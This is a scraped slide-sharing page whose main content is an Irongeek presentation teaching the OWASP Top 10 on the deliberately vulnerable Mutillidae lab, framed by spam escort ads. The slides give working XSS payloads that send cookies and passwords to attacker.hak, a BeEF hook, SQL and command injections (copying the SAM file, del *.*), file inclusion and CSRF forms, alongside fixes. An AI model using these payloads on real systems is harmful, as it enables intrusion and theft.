Histor y of HAM Radio presentation slidevu2urc
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...Neo4j
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxKatpro Technologies
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking MenDelhi Call girls
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesSinan KOZAK
 

Recently uploaded (20)

IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptxFactors to Consider When Choosing Accounts Payable Services Providers.pptx
Factors to Consider When Choosing Accounts Payable Services Providers.pptx
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen Frames
 

Irongeek.com InfoSec Guide Covers OWASP Top 10 Vulnerabilities

  • 2. http://Irongeek.com  I run Irongeek.com  I have an interest in InfoSec education  I don’t know everything - I’m just a geek with time on my hands  I’m also not a professional web developer, creating crappy code was easy or me.   So why listen to me? Sometimes it takes a noob to teach a noob.
  • 3. http://Irongeek.com  OWASP Top 10 http://www.owasp.org/index.php/OWASP_Top_Ten_Project (As a side note, I’ve copied quite of few of their descriptions and fixes into this presentation)  Mutillidae http://www.irongeek.com/i.php?page=security/mutillidae- deliberately-vulnerable-php-owasp-top-10  Ok, but what are those?
  • 4. http://Irongeek.com The 2007 list includes:  A1 - Cross Site Scripting (XSS)  A2 - Injection Flaws  A3 - Malicious File Execution  A4 - Insecure Direct Object Reference  A5 - Cross Site Request Forgery (CSRF)  A6 - Information Leakage and Improper Error Handling  A7 - Broken Authentication and Session Management  A8 - Insecure Cryptographic Storage  A9 - Insecure Communications  A10 - Failure to Restrict URL Access The OWASP Top Ten represents a broad consensus about what the most critical web application security flaws are.
  • 5. http://Irongeek.com  A teaching tool for illustrating the OWASP 10  Written in PHP/MySQL  Meant to be simpler than WebGoat  Simple to exploit, just to get the concept across  Easy to reset  Includes a “Tips” function to help the student
  • 6. http://Irongeek.com 1. Download Mutillidae http://www.irongeek.com/i.php?page=security/mutillidae- deliberately-vulnerable-php-owasp-top-10 2. Grab XAMPP Lite and install it http://www.apachefriends.org/en/xampp.html 3. Put the Mutillidae files in htdocs 4. May want to edit xamppliteapacheconfhttpd.conf and set “Listen 127.0.0.1:80 “
  • 7. http://Irongeek.com XSS flaws occur whenever an application takes user supplied data and sends it to a web browser without first validating or encoding that content. XSS allows attackers to execute script in the victim's browser which can hijack user sessions, deface web sites, possibly introduce worms, etc.
  • 8. http://Irongeek.com  Simple: <script>alert("XSS");</script>  Page Redirect: <script>window.location = "http://www.irongeek.com/"</script>  Cookie Stealing: <script> new Image().src="http://attacker.hak/catch.php?cookie="+encod eURI(document.cookie); </script>
  • 9. http://Irongeek.com  Simple: <script>alert("XSS");</script>  Page Redirect: <script>window.location = "http://www.irongeek.com/"</script>  Cookie Stealing: <script> new Image().src="http://attacker.hak/catch.php?cookie="+encodeURI(document.cookie); </script>  Password Con: <script> username=prompt('Please enter your username',' '); password=prompt('Please enter your password',' '); document.write("<img src="http://attacker.hak/catch.php?username="+username+"&password="+password+"" >"); </script>
  • 10. http://Irongeek.com  External Javascript: <script src="http://ha.ckers.org/xss.js"> </script>  Hot BeEF Injection: <script language='Javascript' src='http://localhost/beef/hook/beefmagic.js.php'></script>  How about the User Agent string?
  • 11. http://Irongeek.com  Mangle XSS to bypass filters: http://ha.ckers.org/xss.html  BeEF browser exploitation framework http://www.bindshell.net/tools/beef  XSS Me Firefox plugin https://addons.mozilla.org/en-US/firefox/addon/7598  Exotic Injection Vectors http://www.irongeek.com/i.php?page=security/xss-sql-and- command-inject-vectors
  • 12. http://Irongeek.com  Input validation.  Strong output encoding. htmlspecialchars()  Specify the output encoding.  Do not use "blacklist" validation to detect XSS in input or to encode output.  Watch out for canonicalization errors.
  • 13. http://Irongeek.com Injection flaws, particularly SQL injection, are common in web applications. Injection occurs when user-supplied data is sent to an interpreter as part of a command or query. The attacker's hostile data tricks the interpreter into executing unintended commands or changing data.
  • 14. http://Irongeek.com The Code: “SELECT * FROM accounts WHERE username='". $username ."' AND password='".stripslashes($password).”’” or echo shell_exec("nslookup " . $targethost);'“ Expected to fill in the string to: SELECT * FROM accounts WHERE username=‘adrian' AND password=‘somepassword’ or Nslookup irongeek.com But what if the person injected: SELECT * FROM accounts WHERE username=‘adrian' AND password=‘somepassword’ or 1=1 -- ’ or Nslookup irongeek.com && del *.*
  • 15. http://Irongeek.com  Simple SQL Injection: ' or 1=1 --  Wish I could do this, but can't stack in MySQL/PHP '; DROP TABLE owasp10; --  Command Injections: && dir && wmic process list && wmic useraccount list && copy c:WINDOWSrepairsam && copy c:WINDOWSrepairsystem.bak  (use ; as a separator if you are running this on Linux)
  • 16. http://Irongeek.com  SQL Injection Cheat Sheet http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/  SQL Injection Attacks by Example http://unixwiz.net/techtips/sql-injection.html  Command line Kung Fu http://blog.commandlinekungfu.com/
  • 17. http://Irongeek.com  Input validation.  Use strongly typed parameterized query APIs (bound parameters).  Enforce least privilege.  Avoid detailed error messages.  Show care when using stored procedures.  Do not use dynamic query interfaces.  Do not use simple escaping functions.  Watch out for canonicalization errors.
  • 18. http://Irongeek.com Code vulnerable to remote file inclusion (RFI) allows attackers to include hostile code and data, resulting in devastating attacks, such as total server compromise. Malicious file execution attacks affect PHP, XML and any framework which accepts filenames or files from users.
  • 19. http://Irongeek.com  Grabbing a local file: http://target.hak/index.php?page=source- viewer.php&php_file_name=config.inc  Tamper Data, POST data and an inadvertent proxy
  • 20. http://Irongeek.com  Tamper Data Firefox Plugin https://addons.mozilla.org/en-US/firefox/addon/966  Paros http://www.parosproxy.org/index.shtml  WebScarab http://www.owasp.org/index.php/Category:OWASP _WebScarab_Project
  • 21. http://Irongeek.com  Strongly validate user input using "accept known good" as a strategy  Add firewall rules to prevent web servers making new connections to external web sites and internal systems.  Consider implementing a chroot jail or other sand box mechanisms.  # PHP: Disable allow_url_fopen and allow_url_include in php.ini and consider .building PHP locally to not include this functionality.  # PHP: Disable register_globals and use E_STRICT to find uninitialized variables.  # PHP: Ensure that all file and streams functions (stream_*) are carefully vetted.
  • 22. http://Irongeek.com A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter. Attackers can manipulate those references to access other objects without authorization.
  • 23. http://Irongeek.com  You already saw it with the malicious file include demo.
  • 24. http://Irongeek.com  Avoid exposing your private object references to users whenever possible, such as primary keys or filenames.  Validate any private object references extensively with an "accept known good" approach.  Verify authorization to all referenced objects.
  • 25. http://Irongeek.com A CSRF attack forces a logged-on victim's browser to send a pre-authenticated request to a vulnerable web application, which then forces the victim's browser to perform a hostile action to the benefit of the attacker. CSRF can be as powerful as the web application that it attacks.
  • 26. http://Irongeek.com Target Web App Client Website the attacker controls 1. Session established with web app via a cookie. (already logged in) 2. At some later point, content that the attacker controls is requested. 3. Attacker serves up content that asks client’s browser to make a request. 4. Client makes request, and since it already has a session cookie the request is honored.
  • 27. http://Irongeek.com  Let visit a page with this lovely link: <img src="http://target.hak/index.php?page=add-to-your- blog.php&input_from_form=hi%20there%20monkeyboy">  Don’t want to use a bad image? Try an Iframe: <iframe src="http://target.hak/index.php?page=add-to-your- blog.php&input_from_form=hi%20there%20monkeyboy"" style="width:0px; height:0px; border: 0px"></iframe>  Can’t use the GET method? Try something like: <html> <body> <form name="csrfform" method="post" action="http://target.hak/index.php?page=add-to-your-blog.php"> <input type='hidden' name='input_from_form' value="Test of of auto submitted form."> </form> <script>document.csrfform.submit()</script> </body></html>
  • 28. http://Irongeek.com  CSRF Flaws Found On Major Websites, Including a Bank http://it.slashdot.org/article.pl?sid=08/09/30/0136219  CSRF Home Router Fun http://www.gnucitizen.org/blog/persistent-xss-and-csrf-on-wireless-g- adsl-gateway-with-speedbooster-wag54gs/  CSRF in Gmail http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
  • 29. http://Irongeek.com  For sensitive data or value transactions, re-authenticate or use transaction signing to ensure that the request is genuine.  Do not use GET requests (URLs) for sensitive data or to perform value transactions. (see next point)  POST alone is insufficient protection.  Consider adding Captchas and extra sessions values as hidden form elements.
  • 30. http://Irongeek.com  Deliberately Insecure Web Applications For Learning Web App Security http://www.irongeek.com/i.php?page=security/deli berately-insecure-web-applications-for-learning- web-app-security
  • 31. http://Irongeek.com  SamuraiWTF http://samurai.inguardians.com/  OWASP Live CD http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project  BackTrack http://www.remote-exploit.org/backtrack.html
  • 32. http://Irongeek.com  Free ISSA classes  ISSA Meeting http://issa-kentuckiana.org/  Louisville Infosec http://www.louisvilleinfosec.com/  Phreaknic/Notacon/Outerz0ne http://phreaknic.info http://notacon.org/ http://www.outerz0ne.org/